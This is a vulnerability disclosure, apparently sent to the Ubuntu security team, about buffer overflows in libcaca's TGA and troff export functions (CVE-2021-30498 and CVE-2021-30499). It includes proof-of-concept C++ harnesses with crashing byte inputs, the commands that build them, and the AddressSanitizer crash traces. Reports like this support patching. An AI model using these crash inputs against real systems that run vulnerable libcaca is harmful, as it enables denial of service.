buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff

[xiao huang]

Hello Ubuntu Security Team
I use libfuzzer to test libcaca api .I found two crash

- https://github.com/cacalabs/libcaca/issues/53

- https://github.com/cacalabs/libcaca/issues/54

------------------------------------------------------------------------
## Vendor of Product
https://github.com/cacalabs/libcaca

------------------------------------------------------------------------
## Affected Product Code Base
libcaca e4968ba
------------------------------------------------------------------------
## Affected Component
affected component:libcaca.so
------------------------------------------------------------------------
## Affected source code file
affected source code file(As call stack):

   ->caca_export_canvas_to_memory() in libcaca/caca/codec/export.c

       ->caca_export_memory() in libcaca/caca/codec/export.c

           -> export_tga() in libcaca/caca/codec/export.c

     -> export_troff() in libcaca/caca/codec/export.c

------------------------------------------------------------------------
## Attack Type
Context-dependent

------------------------------------------------------------------------
## Impact Denial of Service
true

------------------------------------------------------------------------
## Reference
https://github.com/cacalabs/libcaca

------------------------------------------------------------------------
## Discoverer
fdgnneig

------------------------------------------------------------------------
## Verification process and POC

### Verification steps：

1.Get the source code of libcaca:

2.Compile the libcaca.so library:

```shell
$ cd libcaca
$ apt-get install automake libtool pkg-config -y
$ ./bootstrap
$ ./configure
$ make

3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc

4.Run POC

------------------------------------------------------------------------
POC.sh
```
cat << EOF > poc_troff.cc
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

 if(Size<8) return 0;
 size_t len=0;
 char* buffer = (char*)malloc(Size+1);
 memset(buffer,0,Size);
 memcpy(buffer,Data,Size);
 buffer[Size]='\0';
 caca_canvas_t *cv;
 cv = caca_create_canvas(0,0);
 for(int i=0;i<4;i++)
       caca_create_frame(cv,0);
 for(int i=0;i<4;i++){
       caca_set_frame(cv,i);
       caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
 }
 void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
 if(reData!=NULL) free(reData);
 caca_free_canvas(cv);
 cv=NULL;
 free(buffer);
 buffer=NULL;

}

int main(int args,char* argv[]){

       size_t len = 0;
       unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
       len = sizeof(buffer)/sizeof(unsigned char);
       LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
       printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

       return 0;

}
EOF

clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff

cat << EOF > poc_tga.cc
#include "config.h"
#include "caca.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

 if(Size<8) return 0;
 size_t len=0;
 char* buffer = (char*)malloc(Size+1);
 memset(buffer,0,Size);
 memcpy(buffer,Data,Size);
 buffer[Size]='\0';
 caca_canvas_t *cv;
 cv = caca_create_canvas(0,0);
 for(int i=0;i<4;i++)
       caca_create_frame(cv,0);
 for(int i=0;i<4;i++){
       caca_set_frame(cv,i);
       caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
 }
 void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
 if(reData!=NULL) free(reData);
 caca_free_canvas(cv);
 cv=NULL;
 free(buffer);
 buffer=NULL;
       return 0;
}

int main(int args,char* argv[]){

       size_t len = 0;
       unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
       len = sizeof(buffer)/sizeof(unsigned char);
       LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
       printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

       return 0;
}
EOF

clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_tga
```
------------------------------------------------------------------------
The output is as follows
```shell
==1845495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000022 at pc 0x7f905c1bf440 bp 0x7ffdb0a31310 sp 0x7ffdb0a31308
WRITE of size 1 at 0x603000000022 thread T0
   #0 0x7f905c1bf43f in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:961:12
   #1 0x7f905c1bf43f in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
   #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
   #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
   #4 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
   #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_tga+0x41c39d)

0x603000000022 is located 0 bytes to the right of 18-byte region [0x603000000010,0x603000000022)
allocated by thread T0 here:
   #0 0x494add in malloc (/home/hh/Downloads/libcaca/poc_tga+0x494add)
   #1 0x7f905c1be0eb in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:944:18
   #2 0x7f905c1be0eb in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
   #3 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
   #4 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
   #5 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:961:12 in export_tga
Shadow bytes around the buggy address:
 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone: fa
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
 Shadow gap: cc
==1845495==ABORTING
```
```shell
==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
READ of size 8 at 0x7f28d47e8140 thread T0
   #0 0x7f28d46fb798 in export_troff /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
   #1 0x7f28d46fb798 in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:120:16
   #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_troff.cc:29:18
   #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
   #4 0x7f28d414a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
   #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)

0x7f28d47e8140 is located 0 bytes to the right of global variable 'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
SUMMARY: AddressSanitizer: global-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
Shadow bytes around the buggy address:
 0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
 0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
 0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone: fa
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
 Shadow gap: cc
==1845916==ABORTING
```shell

Tanks

[xiao huang (shanzhuli)]

source code
## Affected Product Code Base
libcaca, 0.99.beta20

Ubuntu 20.04
libcaca 0.99.beta19

[xiao huang (shanzhuli)]

Debian 10
libcaca0/now 0.9.beta19-2.1

Fedora 33
Name : libcaca
version : 0.99
Release :0.51.beta19.fc33

[xiao huang (shanzhuli)]

Issues have been assigned numbers CVE-2021-30498、CVE-2021-30499